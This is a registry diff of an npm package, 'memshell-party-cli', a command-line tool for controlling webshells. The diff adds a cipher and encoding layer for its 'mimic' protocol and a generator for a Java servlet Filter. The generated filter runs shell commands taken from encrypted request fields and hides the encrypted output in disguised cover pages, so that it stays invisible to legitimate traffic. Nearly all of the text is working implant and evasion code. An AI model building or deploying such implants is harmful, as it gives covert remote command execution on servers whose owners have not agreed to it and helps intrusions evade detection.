memshell-party-cli 0.4.0 → 0.5.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/cli.js +670 -81
- package/dist/cli.js.map +1 -1
- package/dist/index.d.ts +197 -1
- package/dist/index.js +479 -0
- package/dist/index.js.map +1 -1
- package/package.json +2 -1
- package/resources/javax.servlet-api-3.1.0.jar +0 -0
- package/skills/memshell-party/SKILL.md +62 -40
package/dist/cli.js
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
#!/usr/bin/env node
|
|
2
2
|
|
|
3
3
|
// src/cli.ts
|
|
4
|
-
import { Command as
|
|
4
|
+
import { Command as Command10, CommanderError as CommanderError2 } from "commander";
|
|
5
5
|
|
|
6
6
|
// src/api/client.ts
|
|
7
7
|
var ApiError = class extends Error {
|
|
@@ -1585,6 +1585,21 @@ function validateProfile(profile) {
|
|
|
1585
1585
|
}
|
|
1586
1586
|
}
|
|
1587
1587
|
}
|
|
1588
|
+
if (profile.cipher !== void 0) {
|
|
1589
|
+
const c = profile.cipher;
|
|
1590
|
+
if (c.algorithm !== void 0 && !["aes-ecb", "aes-cbc", "xor"].includes(c.algorithm)) {
|
|
1591
|
+
throw new Error(`cipher.algorithm must be aes-ecb | aes-cbc | xor (got ${JSON.stringify(c.algorithm)})`);
|
|
1592
|
+
}
|
|
1593
|
+
if (c.encoding !== void 0 && !["base64", "base64url", "hex"].includes(c.encoding)) {
|
|
1594
|
+
throw new Error(`cipher.encoding must be base64 | base64url | hex (got ${JSON.stringify(c.encoding)})`);
|
|
1595
|
+
}
|
|
1596
|
+
if (c.marker !== void 0 && !["js-var", "html-comment"].includes(c.marker)) {
|
|
1597
|
+
throw new Error(`cipher.marker must be js-var | html-comment (got ${JSON.stringify(c.marker)})`);
|
|
1598
|
+
}
|
|
1599
|
+
if (c.padTail !== void 0 && typeof c.padTail !== "boolean") {
|
|
1600
|
+
throw new Error("cipher.padTail must be a boolean");
|
|
1601
|
+
}
|
|
1602
|
+
}
|
|
1588
1603
|
}
|
|
1589
1604
|
function saveProfile(profile) {
|
|
1590
1605
|
validateProfile(profile);
|
|
@@ -1625,32 +1640,119 @@ function profileSkeleton(name, site) {
|
|
|
1625
1640
|
};
|
|
1626
1641
|
}
|
|
1627
1642
|
|
|
1643
|
+
// src/connect/mimic-codecs.ts
|
|
1644
|
+
import { createCipheriv as createCipheriv2, createDecipheriv as createDecipheriv2, randomBytes as randomBytes3 } from "crypto";
|
|
1645
|
+
var LEGACY_CIPHER = {
|
|
1646
|
+
algorithm: "aes-ecb",
|
|
1647
|
+
encoding: "base64",
|
|
1648
|
+
padTail: false,
|
|
1649
|
+
marker: "js-var"
|
|
1650
|
+
};
|
|
1651
|
+
function resolveCipher(partial) {
|
|
1652
|
+
return { ...LEGACY_CIPHER, ...partial ?? {} };
|
|
1653
|
+
}
|
|
1654
|
+
function xorCrypt(data, key) {
|
|
1655
|
+
const out = Buffer.alloc(data.length);
|
|
1656
|
+
for (let i = 0; i < data.length; i++) out[i] = data[i] ^ key[i % key.length];
|
|
1657
|
+
return out;
|
|
1658
|
+
}
|
|
1659
|
+
function crypt(data, aesKey, enc, algorithm) {
|
|
1660
|
+
switch (algorithm) {
|
|
1661
|
+
case "aes-ecb":
|
|
1662
|
+
return enc ? aesEcbEncrypt(data, aesKey) : aesEcbDecrypt(data, aesKey);
|
|
1663
|
+
case "aes-cbc": {
|
|
1664
|
+
const key = Buffer.from(aesKey, "utf8");
|
|
1665
|
+
if (enc) {
|
|
1666
|
+
const iv = randomBytes3(16);
|
|
1667
|
+
const c = createCipheriv2("aes-128-cbc", key, iv);
|
|
1668
|
+
return Buffer.concat([iv, c.update(data), c.final()]);
|
|
1669
|
+
}
|
|
1670
|
+
const d = createDecipheriv2("aes-128-cbc", key, data.subarray(0, 16));
|
|
1671
|
+
return Buffer.concat([d.update(data.subarray(16)), d.final()]);
|
|
1672
|
+
}
|
|
1673
|
+
case "xor":
|
|
1674
|
+
return xorCrypt(data, Buffer.from(aesKey, "utf8"));
|
|
1675
|
+
}
|
|
1676
|
+
}
|
|
1677
|
+
function encodeBytes(data, encoding) {
|
|
1678
|
+
switch (encoding) {
|
|
1679
|
+
case "base64":
|
|
1680
|
+
return data.toString("base64");
|
|
1681
|
+
case "base64url":
|
|
1682
|
+
return base64UrlEncode(data);
|
|
1683
|
+
case "hex":
|
|
1684
|
+
return data.toString("hex");
|
|
1685
|
+
}
|
|
1686
|
+
}
|
|
1687
|
+
function decodeString(text, encoding) {
|
|
1688
|
+
switch (encoding) {
|
|
1689
|
+
case "base64":
|
|
1690
|
+
return Buffer.from(text, "base64");
|
|
1691
|
+
case "base64url":
|
|
1692
|
+
return base64UrlDecode(text);
|
|
1693
|
+
case "hex":
|
|
1694
|
+
return Buffer.from(text, "hex");
|
|
1695
|
+
}
|
|
1696
|
+
}
|
|
1697
|
+
function padTailLength(aesKey) {
|
|
1698
|
+
return Number.parseInt(md5Hex(aesKey).slice(0, 2), 16) % 16;
|
|
1699
|
+
}
|
|
1700
|
+
var PAD_ALPHABET = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
|
|
1701
|
+
function appendPad(text, aesKey) {
|
|
1702
|
+
const n = padTailLength(aesKey);
|
|
1703
|
+
if (n === 0) return text;
|
|
1704
|
+
const raw = randomBytes3(n);
|
|
1705
|
+
let tail = "";
|
|
1706
|
+
for (let i = 0; i < n; i++) tail += PAD_ALPHABET[raw[i] % PAD_ALPHABET.length];
|
|
1707
|
+
return text + tail;
|
|
1708
|
+
}
|
|
1709
|
+
function stripPad(text, aesKey) {
|
|
1710
|
+
const n = padTailLength(aesKey);
|
|
1711
|
+
return n === 0 ? text : text.slice(0, Math.max(0, text.length - n));
|
|
1712
|
+
}
|
|
1713
|
+
function encryptField(plaintext, aesKey, cipher = LEGACY_CIPHER) {
|
|
1714
|
+
let out = encodeBytes(crypt(plaintext, aesKey, true, cipher.algorithm), cipher.encoding);
|
|
1715
|
+
if (cipher.padTail) out = appendPad(out, aesKey);
|
|
1716
|
+
return out;
|
|
1717
|
+
}
|
|
1718
|
+
function decryptField(value, aesKey, cipher = LEGACY_CIPHER) {
|
|
1719
|
+
let text = value;
|
|
1720
|
+
if (cipher.padTail) text = stripPad(text, aesKey);
|
|
1721
|
+
return crypt(decodeString(text, cipher.encoding), aesKey, false, cipher.algorithm);
|
|
1722
|
+
}
|
|
1723
|
+
function deriveMarkers(pass, secretKey, cipher = LEGACY_CIPHER) {
|
|
1724
|
+
const id = md5Hex(pass + secretKey).slice(0, 5);
|
|
1725
|
+
if (cipher.marker === "html-comment") {
|
|
1726
|
+
const left2 = `<!--Re${id}_config:`;
|
|
1727
|
+
return { left: left2, right: "-->", wrap: (p) => `${left2}${p}-->` };
|
|
1728
|
+
}
|
|
1729
|
+
const left = `var Re${id}_config="`;
|
|
1730
|
+
return { left, right: '";', wrap: (p) => `<script>${left}${p}";</script>` };
|
|
1731
|
+
}
|
|
1732
|
+
|
|
1628
1733
|
// src/connect/mimic-shared.ts
|
|
1629
|
-
import { randomBytes as
|
|
1734
|
+
import { randomBytes as randomBytes4, randomInt, randomUUID } from "crypto";
|
|
1630
1735
|
function deriveAesKey(secretKey) {
|
|
1631
1736
|
return md5Key16(secretKey);
|
|
1632
1737
|
}
|
|
1633
1738
|
function renderFieldValue(value) {
|
|
1634
1739
|
return value.replaceAll(
|
|
1635
1740
|
/\{\{hex:(\d+)\}\}/g,
|
|
1636
|
-
(_m, n) =>
|
|
1741
|
+
(_m, n) => randomBytes4(Math.ceil(Number(n) / 2)).toString("hex").slice(0, Number(n))
|
|
1637
1742
|
).replaceAll(
|
|
1638
1743
|
/\{\{b64:(\d+)\}\}/g,
|
|
1639
|
-
(_m, n) =>
|
|
1744
|
+
(_m, n) => randomBytes4(Math.ceil(Number(n) * 3 / 4)).toString("base64url").slice(0, Number(n))
|
|
1640
1745
|
).replaceAll(/\{\{uuid\}\}/g, () => randomUUID()).replaceAll(/\{\{ts\}\}/g, () => String(Math.floor(Date.now() / 1e3))).replaceAll(
|
|
1641
1746
|
/\{\{int:(\d+):(\d+)\}\}/g,
|
|
1642
1747
|
(_m, a, b) => String(randomInt(Number(a), Number(b) + 1))
|
|
1643
1748
|
);
|
|
1644
1749
|
}
|
|
1645
|
-
function deriveLeftMarker(pass, secretKey) {
|
|
1646
|
-
return `var Re${md5Hex(pass + secretKey).slice(0, 5)}_config="`;
|
|
1647
|
-
}
|
|
1648
1750
|
var RIGHT_MARKER = '";';
|
|
1649
|
-
function
|
|
1650
|
-
return
|
|
1751
|
+
function encryptField2(plaintext, aesKey, cipher = LEGACY_CIPHER) {
|
|
1752
|
+
return encryptField(plaintext, aesKey, cipher);
|
|
1651
1753
|
}
|
|
1652
|
-
function
|
|
1653
|
-
return
|
|
1754
|
+
function decryptField2(value, aesKey, cipher = LEGACY_CIPHER) {
|
|
1755
|
+
return decryptField(value, aesKey, cipher);
|
|
1654
1756
|
}
|
|
1655
1757
|
function buildFormBody(fields) {
|
|
1656
1758
|
return Buffer.from(
|
|
@@ -1658,7 +1760,7 @@ function buildFormBody(fields) {
|
|
|
1658
1760
|
"utf8"
|
|
1659
1761
|
);
|
|
1660
1762
|
}
|
|
1661
|
-
function decodeRequestBody(body, pass, aesKey) {
|
|
1763
|
+
function decodeRequestBody(body, pass, aesKey, cipher = LEGACY_CIPHER) {
|
|
1662
1764
|
const text = body.toString("utf8");
|
|
1663
1765
|
for (const pair of text.split("&")) {
|
|
1664
1766
|
const eq = pair.indexOf("=");
|
|
@@ -1666,24 +1768,23 @@ function decodeRequestBody(body, pass, aesKey) {
|
|
|
1666
1768
|
if (pair.slice(0, eq) !== pass) continue;
|
|
1667
1769
|
const value = decodeURIComponent(pair.slice(eq + 1));
|
|
1668
1770
|
try {
|
|
1669
|
-
return
|
|
1771
|
+
return decryptField2(value, aesKey, cipher);
|
|
1670
1772
|
} catch {
|
|
1671
1773
|
return null;
|
|
1672
1774
|
}
|
|
1673
1775
|
}
|
|
1674
1776
|
return null;
|
|
1675
1777
|
}
|
|
1676
|
-
function
|
|
1677
|
-
const script = `<script>${leftMarker}${b64Cipher}${RIGHT_MARKER}</script>`;
|
|
1778
|
+
function injectFragment(templateHtml, fragment) {
|
|
1678
1779
|
const idx = templateHtml.toLowerCase().lastIndexOf("</body>");
|
|
1679
|
-
if (idx === -1) return templateHtml +
|
|
1680
|
-
return templateHtml.slice(0, idx) +
|
|
1780
|
+
if (idx === -1) return templateHtml + fragment;
|
|
1781
|
+
return templateHtml.slice(0, idx) + fragment + templateHtml.slice(idx);
|
|
1681
1782
|
}
|
|
1682
|
-
function extractFromHtml(html, leftMarker) {
|
|
1783
|
+
function extractFromHtml(html, leftMarker, rightMarker = RIGHT_MARKER) {
|
|
1683
1784
|
const start = html.indexOf(leftMarker);
|
|
1684
1785
|
if (start === -1) return null;
|
|
1685
1786
|
const valueStart = start + leftMarker.length;
|
|
1686
|
-
const end = html.indexOf(
|
|
1787
|
+
const end = html.indexOf(rightMarker, valueStart);
|
|
1687
1788
|
if (end === -1) return null;
|
|
1688
1789
|
return html.slice(valueStart, end);
|
|
1689
1790
|
}
|
|
@@ -1703,10 +1804,12 @@ function buildContext(req) {
|
|
|
1703
1804
|
if (profileName) {
|
|
1704
1805
|
profile = loadProfile(profileName);
|
|
1705
1806
|
}
|
|
1807
|
+
const cipher = resolveCipher(profile?.cipher);
|
|
1706
1808
|
return {
|
|
1707
1809
|
pass,
|
|
1708
1810
|
aesKey: deriveAesKey(secretKey),
|
|
1709
|
-
|
|
1811
|
+
cipher,
|
|
1812
|
+
markers: deriveMarkers(pass, secretKey, cipher),
|
|
1710
1813
|
profile,
|
|
1711
1814
|
dynamicPath: req.options.dynamicPath ?? false
|
|
1712
1815
|
};
|
|
@@ -1725,7 +1828,7 @@ async function roundTrip(req, ctx, plaintext) {
|
|
|
1725
1828
|
const shape = pickRequestShape(ctx.profile ? profileRequests(ctx.profile) : []);
|
|
1726
1829
|
const secretField = shape?.secretField ?? ctx.pass;
|
|
1727
1830
|
const secretIn = shape?.secretIn ?? "body";
|
|
1728
|
-
const cipher =
|
|
1831
|
+
const cipher = encryptField2(Buffer.from(plaintext, "utf8"), ctx.aesKey, ctx.cipher);
|
|
1729
1832
|
const decoys = (shape?.fields ?? []).map((f) => ({
|
|
1730
1833
|
name: f.name,
|
|
1731
1834
|
value: renderFieldValue(f.value)
|
|
@@ -1768,7 +1871,7 @@ async function roundTrip(req, ctx, plaintext) {
|
|
|
1768
1871
|
durationMs: res.durationMs
|
|
1769
1872
|
};
|
|
1770
1873
|
}
|
|
1771
|
-
const b64 = extractFromHtml(res.body.toString("utf8"), ctx.
|
|
1874
|
+
const b64 = extractFromHtml(res.body.toString("utf8"), ctx.markers.left, ctx.markers.right);
|
|
1772
1875
|
if (b64 === null) {
|
|
1773
1876
|
return {
|
|
1774
1877
|
ok: false,
|
|
@@ -1779,7 +1882,7 @@ async function roundTrip(req, ctx, plaintext) {
|
|
|
1779
1882
|
};
|
|
1780
1883
|
}
|
|
1781
1884
|
try {
|
|
1782
|
-
const output =
|
|
1885
|
+
const output = decryptField2(b64, ctx.aesKey, ctx.cipher).toString("utf8");
|
|
1783
1886
|
return { ok: true, output, requestUrl, status: res.status, durationMs: res.durationMs };
|
|
1784
1887
|
} catch {
|
|
1785
1888
|
return {
|
|
@@ -2197,7 +2300,7 @@ function parseExtraHeaders(lines) {
|
|
|
2197
2300
|
function registerConnectCommand(program) {
|
|
2198
2301
|
program.command("connect").description(
|
|
2199
2302
|
"Test whether a deployed webshell is alive and the credentials work"
|
|
2200
|
-
).argument("[name]", "saved target name (see 'memparty list')").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(new Option("-t, --tool <tool>", "shell protocol").choices(protocolNames())).option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla/mimic key
|
|
2303
|
+
).argument("[name]", "saved target name (see 'memparty list')").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(new Option("-t, --tool <tool>", "shell protocol").choices(protocolNames())).option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla/mimic key (default: key)").option(
|
|
2201
2304
|
"--header-name <name>",
|
|
2202
2305
|
"gate header name reported by gen (shellToolConfig.headerName)"
|
|
2203
2306
|
).option(
|
|
@@ -2303,12 +2406,521 @@ A successful test auto-saves the profile as <host>/<tool> (skip with
|
|
|
2303
2406
|
});
|
|
2304
2407
|
}
|
|
2305
2408
|
|
|
2409
|
+
// src/commands/custom.ts
|
|
2410
|
+
import { Command as Command2 } from "commander";
|
|
2411
|
+
|
|
2412
|
+
// src/custom/build.ts
|
|
2413
|
+
import { mkdirSync as mkdirSync4, readFileSync as readFileSync5, writeFileSync as writeFileSync3 } from "fs";
|
|
2414
|
+
import { join as join5 } from "path";
|
|
2415
|
+
|
|
2416
|
+
// src/core/jdk.ts
|
|
2417
|
+
var JDK_VERSIONS = {
|
|
2418
|
+
java6: 50,
|
|
2419
|
+
java8: 52,
|
|
2420
|
+
java9: 53,
|
|
2421
|
+
java11: 55,
|
|
2422
|
+
java17: 61,
|
|
2423
|
+
java21: 65
|
|
2424
|
+
};
|
|
2425
|
+
function resolveJreVersion(input3) {
|
|
2426
|
+
if (input3 === void 0 || input3 === "") return void 0;
|
|
2427
|
+
if (typeof input3 === "number") return input3;
|
|
2428
|
+
const normalized = input3.trim().toLowerCase();
|
|
2429
|
+
if (normalized in JDK_VERSIONS) return JDK_VERSIONS[normalized];
|
|
2430
|
+
const withPrefix = `java${normalized}`;
|
|
2431
|
+
if (withPrefix in JDK_VERSIONS) return JDK_VERSIONS[withPrefix];
|
|
2432
|
+
const num = Number(normalized);
|
|
2433
|
+
if (Number.isInteger(num) && num > 0) return num;
|
|
2434
|
+
throw new Error(
|
|
2435
|
+
`Invalid JDK version "${input3}". Use one of: ${Object.keys(JDK_VERSIONS).join(", ")}, or a class-file major version like 52.`
|
|
2436
|
+
);
|
|
2437
|
+
}
|
|
2438
|
+
|
|
2439
|
+
// src/custom/java-template.ts
|
|
2440
|
+
function javaStringLiteral(s) {
|
|
2441
|
+
return s.replaceAll("\\", "\\\\").replaceAll('"', '\\"').replaceAll("\r", "").replaceAll("\n", "\\n").replaceAll(/[^\x00-\x7f]/g, (ch) => `\\u${ch.codePointAt(0).toString(16).padStart(4, "0")}`);
|
|
2442
|
+
}
|
|
2443
|
+
var MD5_METHOD = String.raw`
|
|
2444
|
+
static String md5Hex(String s) throws Exception {
|
|
2445
|
+
MessageDigest m = MessageDigest.getInstance("MD5");
|
|
2446
|
+
byte[] d = m.digest(s.getBytes("UTF-8"));
|
|
2447
|
+
StringBuilder sb = new StringBuilder();
|
|
2448
|
+
for (byte b : d) sb.append(String.format("%02x", b & 0xff));
|
|
2449
|
+
return sb.toString();
|
|
2450
|
+
}
|
|
2451
|
+
`;
|
|
2452
|
+
function cryptMethod(algorithm) {
|
|
2453
|
+
switch (algorithm) {
|
|
2454
|
+
case "aes-ecb":
|
|
2455
|
+
return String.raw`
|
|
2456
|
+
static byte[] crypt(byte[] data, String key, boolean enc) throws Exception {
|
|
2457
|
+
Cipher c = Cipher.getInstance("AES/ECB/PKCS5Padding");
|
|
2458
|
+
c.init(enc ? Cipher.ENCRYPT_MODE : Cipher.DECRYPT_MODE,
|
|
2459
|
+
new SecretKeySpec(key.getBytes("UTF-8"), "AES"));
|
|
2460
|
+
return c.doFinal(data);
|
|
2461
|
+
}
|
|
2462
|
+
`;
|
|
2463
|
+
case "aes-cbc":
|
|
2464
|
+
return String.raw`
|
|
2465
|
+
static byte[] crypt(byte[] data, String key, boolean enc) throws Exception {
|
|
2466
|
+
Cipher c = Cipher.getInstance("AES/CBC/PKCS5Padding");
|
|
2467
|
+
SecretKeySpec ks = new SecretKeySpec(key.getBytes("UTF-8"), "AES");
|
|
2468
|
+
if (enc) {
|
|
2469
|
+
byte[] iv = new byte[16];
|
|
2470
|
+
new java.security.SecureRandom().nextBytes(iv);
|
|
2471
|
+
c.init(Cipher.ENCRYPT_MODE, ks, new IvParameterSpec(iv));
|
|
2472
|
+
byte[] ct = c.doFinal(data);
|
|
2473
|
+
ByteArrayOutputStream bos = new ByteArrayOutputStream();
|
|
2474
|
+
bos.write(iv);
|
|
2475
|
+
bos.write(ct);
|
|
2476
|
+
return bos.toByteArray();
|
|
2477
|
+
}
|
|
2478
|
+
c.init(Cipher.DECRYPT_MODE, ks, new IvParameterSpec(data, 0, 16));
|
|
2479
|
+
return c.doFinal(data, 16, data.length - 16);
|
|
2480
|
+
}
|
|
2481
|
+
`;
|
|
2482
|
+
case "xor":
|
|
2483
|
+
return String.raw`
|
|
2484
|
+
static byte[] crypt(byte[] data, String key, boolean enc) throws Exception {
|
|
2485
|
+
byte[] k = key.getBytes("UTF-8");
|
|
2486
|
+
byte[] out = new byte[data.length];
|
|
2487
|
+
for (int i = 0; i < data.length; i++) out[i] = (byte) (data[i] ^ k[i % k.length]);
|
|
2488
|
+
return out;
|
|
2489
|
+
}
|
|
2490
|
+
`;
|
|
2491
|
+
}
|
|
2492
|
+
}
|
|
2493
|
+
function encDecMethods(encoding) {
|
|
2494
|
+
switch (encoding) {
|
|
2495
|
+
case "base64":
|
|
2496
|
+
return String.raw`
|
|
2497
|
+
static String enc(byte[] data) {
|
|
2498
|
+
return java.util.Base64.getEncoder().encodeToString(data);
|
|
2499
|
+
}
|
|
2500
|
+
static byte[] dec(String s) {
|
|
2501
|
+
return java.util.Base64.getDecoder().decode(s);
|
|
2502
|
+
}
|
|
2503
|
+
`;
|
|
2504
|
+
case "base64url":
|
|
2505
|
+
return String.raw`
|
|
2506
|
+
static String enc(byte[] data) {
|
|
2507
|
+
return java.util.Base64.getUrlEncoder().withoutPadding().encodeToString(data);
|
|
2508
|
+
}
|
|
2509
|
+
static byte[] dec(String s) {
|
|
2510
|
+
return java.util.Base64.getUrlDecoder().decode(s);
|
|
2511
|
+
}
|
|
2512
|
+
`;
|
|
2513
|
+
case "hex":
|
|
2514
|
+
return String.raw`
|
|
2515
|
+
static String enc(byte[] data) {
|
|
2516
|
+
StringBuilder sb = new StringBuilder();
|
|
2517
|
+
for (byte b : data) sb.append(String.format("%02x", b & 0xff));
|
|
2518
|
+
return sb.toString();
|
|
2519
|
+
}
|
|
2520
|
+
static byte[] dec(String s) {
|
|
2521
|
+
ByteArrayOutputStream bos = new ByteArrayOutputStream();
|
|
2522
|
+
for (int i = 0; i + 1 < s.length(); i += 2) bos.write(Integer.parseInt(s.substring(i, i + 2), 16));
|
|
2523
|
+
return bos.toByteArray();
|
|
2524
|
+
}
|
|
2525
|
+
`;
|
|
2526
|
+
}
|
|
2527
|
+
}
|
|
2528
|
+
var PAD_METHODS = String.raw`
|
|
2529
|
+
static int padLen(String aesKey) throws Exception {
|
|
2530
|
+
return Integer.parseInt(md5Hex(aesKey).substring(0, 2), 16) % 16;
|
|
2531
|
+
}
|
|
2532
|
+
static String appendPad(String s, String aesKey) throws Exception {
|
|
2533
|
+
int n = padLen(aesKey);
|
|
2534
|
+
StringBuilder sb = new StringBuilder(s);
|
|
2535
|
+
java.util.Random r = new java.util.Random();
|
|
2536
|
+
for (int i = 0; i < n; i++) {
|
|
2537
|
+
sb.append("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".charAt(r.nextInt(62)));
|
|
2538
|
+
}
|
|
2539
|
+
return sb.toString();
|
|
2540
|
+
}
|
|
2541
|
+
static String stripPad(String s, String aesKey) throws Exception {
|
|
2542
|
+
int n = padLen(aesKey);
|
|
2543
|
+
return n == 0 ? s : s.substring(0, Math.max(0, s.length() - n));
|
|
2544
|
+
}
|
|
2545
|
+
`;
|
|
2546
|
+
function fieldTransforms(cipher) {
|
|
2547
|
+
const afterEncode = cipher.padTail ? "appendPad(s, aesKey)" : "s";
|
|
2548
|
+
const beforeDecode = cipher.padTail ? "stripPad(v, aesKey)" : "v";
|
|
2549
|
+
return `
|
|
2550
|
+
static String encryptField(byte[] plain, String aesKey) throws Exception {
|
|
2551
|
+
String s = enc(crypt(plain, aesKey, true));
|
|
2552
|
+
return ${afterEncode};
|
|
2553
|
+
}
|
|
2554
|
+
static byte[] decryptField(String v, String aesKey) throws Exception {
|
|
2555
|
+
String s = ${beforeDecode};
|
|
2556
|
+
return crypt(dec(s), aesKey, false);
|
|
2557
|
+
}
|
|
2558
|
+
`;
|
|
2559
|
+
}
|
|
2560
|
+
function wrapPayloadMethod(marker) {
|
|
2561
|
+
if (marker === "html-comment") {
|
|
2562
|
+
return String.raw`
|
|
2563
|
+
static String wrapPayload(String payload, String passKey) throws Exception {
|
|
2564
|
+
return "<!--Re" + md5Hex(passKey).substring(0, 5) + "_config:" + payload + "-->";
|
|
2565
|
+
}
|
|
2566
|
+
`;
|
|
2567
|
+
}
|
|
2568
|
+
return String.raw`
|
|
2569
|
+
static String wrapPayload(String payload, String passKey) throws Exception {
|
|
2570
|
+
return "<script>var Re" + md5Hex(passKey).substring(0, 5) + "_config=\"" + payload + "\";</script>";
|
|
2571
|
+
}
|
|
2572
|
+
`;
|
|
2573
|
+
}
|
|
2574
|
+
function sharedMethods(cipher) {
|
|
2575
|
+
return MD5_METHOD + cryptMethod(cipher.algorithm) + encDecMethods(cipher.encoding) + (cipher.padTail ? PAD_METHODS : "") + fieldTransforms(cipher);
|
|
2576
|
+
}
|
|
2577
|
+
function renderFilterJava(opts) {
|
|
2578
|
+
const { className, pass, secret, fields, templates, cipher } = opts;
|
|
2579
|
+
const fieldsJava = fields.map((f) => `"${javaStringLiteral(f)}"`).join(", ");
|
|
2580
|
+
const tplsJava = templates.map((t) => ` "${javaStringLiteral(t)}"`).join(",\n");
|
|
2581
|
+
return `package mimic;
|
|
2582
|
+
|
|
2583
|
+
import java.io.*;
|
|
2584
|
+
import java.security.MessageDigest;
|
|
2585
|
+
import javax.crypto.Cipher;
|
|
2586
|
+
import javax.crypto.spec.IvParameterSpec;
|
|
2587
|
+
import javax.crypto.spec.SecretKeySpec;
|
|
2588
|
+
import javax.servlet.*;
|
|
2589
|
+
import javax.servlet.http.*;
|
|
2590
|
+
|
|
2591
|
+
/**
|
|
2592
|
+
* mimic protocol server (matches src/connect/mimic-codecs.ts):
|
|
2593
|
+
* cipher=${cipher.algorithm} encoding=${cipher.encoding} padTail=${cipher.padTail} marker=${cipher.marker}
|
|
2594
|
+
*
|
|
2595
|
+
* Detection uses getParameter()/getHeader() only, never reads the body
|
|
2596
|
+
* stream: form posts are parsed+cached by the container so downstream
|
|
2597
|
+
* getParameter() callers still work, and raw-body posts (Behinder) keep an
|
|
2598
|
+
* untouched body stream for the shell behind us. Anything that is not ours
|
|
2599
|
+
* falls through chain.doFilter; any error answers with the cover page.
|
|
2600
|
+
*/
|
|
2601
|
+
public class ${className} implements Filter {
|
|
2602
|
+
/** carriers that may hold the ciphertext (form fields / headers, from the profile) */
|
|
2603
|
+
static final String[] FIELDS = { ${fieldsJava} };
|
|
2604
|
+
/** credentials \u2014 must match the client's --pass/--key (key + marker derivation) */
|
|
2605
|
+
static final String PASS = "${javaStringLiteral(pass)}";
|
|
2606
|
+
static final String SECRET = "${javaStringLiteral(secret)}";
|
|
2607
|
+
/** Cover pages from the site profile \u2014 rotated per response so the skin varies. */
|
|
2608
|
+
static final String[] TPLS = {
|
|
2609
|
+
${tplsJava}
|
|
2610
|
+
};
|
|
2611
|
+
|
|
2612
|
+
public void init(FilterConfig filterConfig) {}
|
|
2613
|
+
public void destroy() {}
|
|
2614
|
+
${sharedMethods(cipher)}${wrapPayloadMethod(cipher.marker)}
|
|
2615
|
+
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
|
|
2616
|
+
throws IOException, ServletException {
|
|
2617
|
+
String value = null;
|
|
2618
|
+
for (String f : FIELDS) {
|
|
2619
|
+
value = request.getParameter(f);
|
|
2620
|
+
if (value == null && request instanceof HttpServletRequest) {
|
|
2621
|
+
// secretIn=header: the ciphertext may ride a header instead of a form field
|
|
2622
|
+
value = ((HttpServletRequest) request).getHeader(f);
|
|
2623
|
+
}
|
|
2624
|
+
if (value != null) break;
|
|
2625
|
+
}
|
|
2626
|
+
if (value == null) {
|
|
2627
|
+
chain.doFilter(request, response);
|
|
2628
|
+
return;
|
|
2629
|
+
}
|
|
2630
|
+
String aesKey;
|
|
2631
|
+
byte[] cmd;
|
|
2632
|
+
try {
|
|
2633
|
+
aesKey = md5Hex(SECRET).substring(0, 16);
|
|
2634
|
+
cmd = decryptField(value, aesKey);
|
|
2635
|
+
} catch (Exception notOurs) {
|
|
2636
|
+
// the field exists but doesn't decrypt \u2014 this is someone else's
|
|
2637
|
+
// legitimate form (e.g. the real login POST), stay invisible
|
|
2638
|
+
chain.doFilter(request, response);
|
|
2639
|
+
return;
|
|
2640
|
+
}
|
|
2641
|
+
String tpl = TPLS[new java.util.Random().nextInt(TPLS.length)];
|
|
2642
|
+
try {
|
|
2643
|
+
String command = new String(cmd, "UTF-8");
|
|
2644
|
+
boolean win = System.getProperty("os.name").toLowerCase().contains("win");
|
|
2645
|
+
ProcessBuilder pb = win
|
|
2646
|
+
? new ProcessBuilder("cmd.exe", "/c", command)
|
|
2647
|
+
: new ProcessBuilder("/bin/sh", "-c", command);
|
|
2648
|
+
pb.redirectErrorStream(true);
|
|
2649
|
+
Process proc = pb.start();
|
|
2650
|
+
ByteArrayOutputStream bos = new ByteArrayOutputStream();
|
|
2651
|
+
InputStream in = proc.getInputStream();
|
|
2652
|
+
byte[] buf = new byte[8192];
|
|
2653
|
+
int n;
|
|
2654
|
+
while ((n = in.read(buf)) != -1) bos.write(buf, 0, n);
|
|
2655
|
+
proc.waitFor();
|
|
2656
|
+
String payload = encryptField(bos.toByteArray(), aesKey);
|
|
2657
|
+
String fragment = wrapPayload(payload, PASS + SECRET);
|
|
2658
|
+
int idx = tpl.toLowerCase().lastIndexOf("</body>");
|
|
2659
|
+
String page = idx >= 0 ? tpl.substring(0, idx) + fragment + tpl.substring(idx) : tpl + fragment;
|
|
2660
|
+
response.setContentType("text/html;charset=UTF-8");
|
|
2661
|
+
response.setCharacterEncoding("UTF-8");
|
|
2662
|
+
response.getWriter().write(page);
|
|
2663
|
+
} catch (Exception e) {
|
|
2664
|
+
// behave like the cover page on any error \u2014 stay quiet
|
|
2665
|
+
response.setContentType("text/html;charset=UTF-8");
|
|
2666
|
+
response.getWriter().write(tpl);
|
|
2667
|
+
}
|
|
2668
|
+
}
|
|
2669
|
+
}
|
|
2670
|
+
`;
|
|
2671
|
+
}
|
|
2672
|
+
|
|
2673
|
+
// src/custom/javac.ts
|
|
2674
|
+
import { execFileSync } from "child_process";
|
|
2675
|
+
import { existsSync as existsSync4 } from "fs";
|
|
2676
|
+
import { fileURLToPath } from "url";
|
|
2677
|
+
function servletApiJar() {
|
|
2678
|
+
const candidates = [
|
|
2679
|
+
new URL("../resources/javax.servlet-api-3.1.0.jar", import.meta.url),
|
|
2680
|
+
// dist/*.js
|
|
2681
|
+
new URL("../../resources/javax.servlet-api-3.1.0.jar", import.meta.url)
|
|
2682
|
+
// src/custom/*.ts
|
|
2683
|
+
];
|
|
2684
|
+
for (const candidate of candidates) {
|
|
2685
|
+
const p = fileURLToPath(candidate);
|
|
2686
|
+
if (existsSync4(p)) return p;
|
|
2687
|
+
}
|
|
2688
|
+
throw new Error(
|
|
2689
|
+
"bundled servlet-api jar not found (expected resources/javax.servlet-api-3.1.0.jar in the package)"
|
|
2690
|
+
);
|
|
2691
|
+
}
|
